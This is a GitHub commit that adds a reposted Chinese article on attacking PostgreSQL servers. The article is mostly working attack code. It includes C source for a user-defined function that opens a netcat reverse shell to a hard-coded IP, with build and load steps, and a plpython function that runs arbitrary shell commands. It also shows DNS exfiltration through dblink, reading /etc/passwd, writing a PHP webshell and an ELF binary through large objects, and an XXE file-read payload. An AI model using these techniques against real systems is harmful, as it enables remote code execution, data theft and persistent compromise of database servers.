Skip to content

Commit a3a0e14

Browse files
authored
Create 20161018_02.md
1 parent 96c1e1e commit a3a0e14

File tree

1 file changed

+276
-0
lines changed

1 file changed

+276
-0
lines changed

201610/20161018_02.md

Lines changed: 276 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,276 @@
1+
## Hacking PostgreSQL
2+
3+
### 作者
4+
digoal
5+
6+
### 日期
7+
2016-10-18
8+
9+
### 标签
10+
PostgreSQL , sql注入 , ssrf , PostgreSQL , hacking
11+
12+
----
13+
14+
本文为转载文章,原文地址
15+
16+
http://www.cnblogs.com/Yinxinghan/p/Hacking_PostgreSQL.html
17+
18+
## 背景
19+
这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。
20+
21+
## SQL 注入
22+
大体上和 MySQL 差不多,有一些变量不一样。
23+
24+
具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。
25+
26+
此外,利用 sqlmap 也是一个不错的方式。
27+
28+
## 执行命令
29+
### C
30+
sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
31+
32+
根据官方文档,我们要定义一个 PG_MODULE_MAGIC。
33+
34+
大概是 PostgreSQL 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:
35+
36+
```
37+
ERROR: incompatible library "xxx.so": missing magic block
38+
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
39+
```
40+
41+
执行系统命令的动态链接库源码为:
42+
43+
```
44+
1 #include "postgres.h"
45+
2 #include "fmgr.h"
46+
3 #include <stdlib.h>
47+
4
48+
5 #ifdef PG_MODULE_MAGIC
49+
6 PG_MODULE_MAGIC;
50+
7 #endif
51+
8
52+
9 text *exec()
53+
10 {
54+
11 system("nc -e /bin/bash 10.211.55.2 9999");
55+
12 }
56+
```
57+
58+
利用如下命令编译 .so 文件:
59+
60+
```
61+
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so
62+
```
63+
64+
在 pgsql 里执行:
65+
66+
```
67+
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT;
68+
select exec();
69+
```
70+
71+
监听的 9999 端口得到一个 shell:
72+
73+
![pic1](20161018_02_pic_001.png)
74+
75+
### Python
76+
默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:
77+
78+
```
79+
apt-get install postgresql-plpython-9.1
80+
```
81+
82+
进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。
83+
84+
安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:
85+
86+
```
87+
CREATE FUNCTION system (a text)
88+
RETURNS text
89+
AS $$
90+
import os
91+
return os.popen(a).read()
92+
$$ LANGUAGE plpython2u;
93+
```
94+
95+
其中的 plpython2u 可以利用如下语句获取:
96+
97+
```
98+
select * from pg_language;
99+
```
100+
101+
我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。
102+
103+
![pic2](20161018_02_pic_002.png)
104+
105+
创建好 UDF 后,直接调用如下语句即可:
106+
107+
```
108+
select system('ls -la');
109+
```
110+
111+
![pic3](20161018_02_pic_003.png)
112+
113+
此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。
114+
115+
文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html
116+
117+
## DNS 请求获取数据
118+
同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。
119+
120+
用到的一个扩展叫做 dblink,可以通过如下命令开启:
121+
122+
```
123+
CREATE EXTENSION dblink
124+
```
125+
126+
接着运行如下语句,获取当前数据库用户名称:
127+
128+
```
129+
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
130+
```
131+
132+
![pic4](20161018_02_pic_004.jpg)
133+
134+
远程获取到请求内容:
135+
136+
![pic5](20161018_02_pic_005.png)
137+
138+
## 读写文件
139+
###
140+
PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:
141+
142+
```
143+
CREATE TABLE temptable(t text);
144+
COPY temptable FROM '/etc/passwd';
145+
SELECT * FROM temptable limit 1 offset 0;
146+
```
147+
148+
读取结束后:
149+
```
150+
DROP TABLE temptable;
151+
```
152+
153+
新版本则可以直接通过函数或者使用大对象操作接口来读取。
154+
155+
```
156+
pg_catalog | pg_read_binary_file | bytea | text
157+
pg_catalog | pg_read_binary_file | bytea | text, bigint, bigint
158+
pg_catalog | pg_read_binary_file | bytea | text, bigint, bigint, boolean
159+
pg_catalog | pg_read_file | text | text
160+
pg_catalog | pg_read_file | text | text, bigint, bigint
161+
pg_catalog | pg_read_file | text | text, bigint, bigint, boolean
162+
pg_catalog | pg_stat_file | record | filename text, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT creation timestamp with
163+
pg_catalog | pg_stat_file | record | filename text, missing_ok boolean, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT cre
164+
ation timestamp with time zone, OUT isdir boolean | normal
165+
```
166+
167+
```
168+
pg_catalog | lo_close | integer | integer
169+
170+
pg_catalog | lo_creat | oid | integer
171+
172+
pg_catalog | lo_create | oid | oid
173+
174+
pg_catalog | lo_export | integer | oid, text
175+
176+
pg_catalog | lo_from_bytea | oid | oid, bytea
177+
178+
pg_catalog | lo_get | bytea | oid
179+
180+
pg_catalog | lo_get | bytea | oid, bigint, integer
181+
182+
pg_catalog | lo_import | oid | text
183+
184+
pg_catalog | lo_import | oid | text, oid
185+
186+
pg_catalog | lo_lseek | integer | integer, integer, integer
187+
188+
pg_catalog | lo_lseek64 | bigint | integer, bigint, integer
189+
190+
pg_catalog | lo_open | integer | oid, integer
191+
192+
pg_catalog | lo_put | void | oid, bigint, bytea
193+
194+
pg_catalog | lo_tell | integer | integer
195+
196+
pg_catalog | lo_tell64 | bigint | integer
197+
198+
pg_catalog | lo_truncate | integer | integer, integer
199+
200+
pg_catalog | lo_truncate64 | integer | integer, bigint
201+
202+
pg_catalog | lo_unlink | integer | oid
203+
```
204+
205+
###
206+
写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
207+
208+
写 webshell 十分简单,利用:
209+
210+
```
211+
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
212+
```
213+
214+
即可写一个文件。
215+
216+
根据疯狗的这一篇帖子:
217+
218+
http://zone.wooyun.org/content/4971
219+
220+
,说是可以利用PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:
221+
```
222+
ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
223+
```
224+
225+
用 COPY 语句,format 为 binary 的情况下来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。
226+
227+
实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:
228+
229+
```
230+
SELECT lo_create(12345);
231+
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
232+
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
233+
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
234+
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
235+
SELECT lo_export(12345, '/tmp/test.so');
236+
SELECT lo_unlink(12345);
237+
```
238+
239+
其中每一段都要小于等于 2KB,这样就可以成功写入:
240+
241+
![pi6](20161018_02_pic_006.png)
242+
243+
## XXE
244+
老版本的 PostgreSQL 存在 XXE 漏洞。
245+
246+
具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day。
247+
248+
大体就是执行语句:
249+
```
250+
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
251+
```
252+
253+
可以获取一些数据,也可以进行 SSRF 等。
254+
255+
不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。
256+
257+
## 参考
258+
1\. PostgreSQL SQL Injection Cheat Sheet
259+
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
260+
261+
2\. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
262+
http://zone.wooyun.org/content/4971
263+
264+
3\. PostgreSQL 9.0 Documentation
265+
http://www.postgresql.org/docs/9.0/
266+
267+
4\. PostgreSQL (all) error-based XXE 0day
268+
http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html
269+
270+
5\. hack 云服务 pdf
271+
[pdf](20161018_02_pdf_001.pdf)
272+
273+
274+
[Count](http://info.flagcounter.com/h9V1)
275+
276+

0 commit comments

Comments
 (0)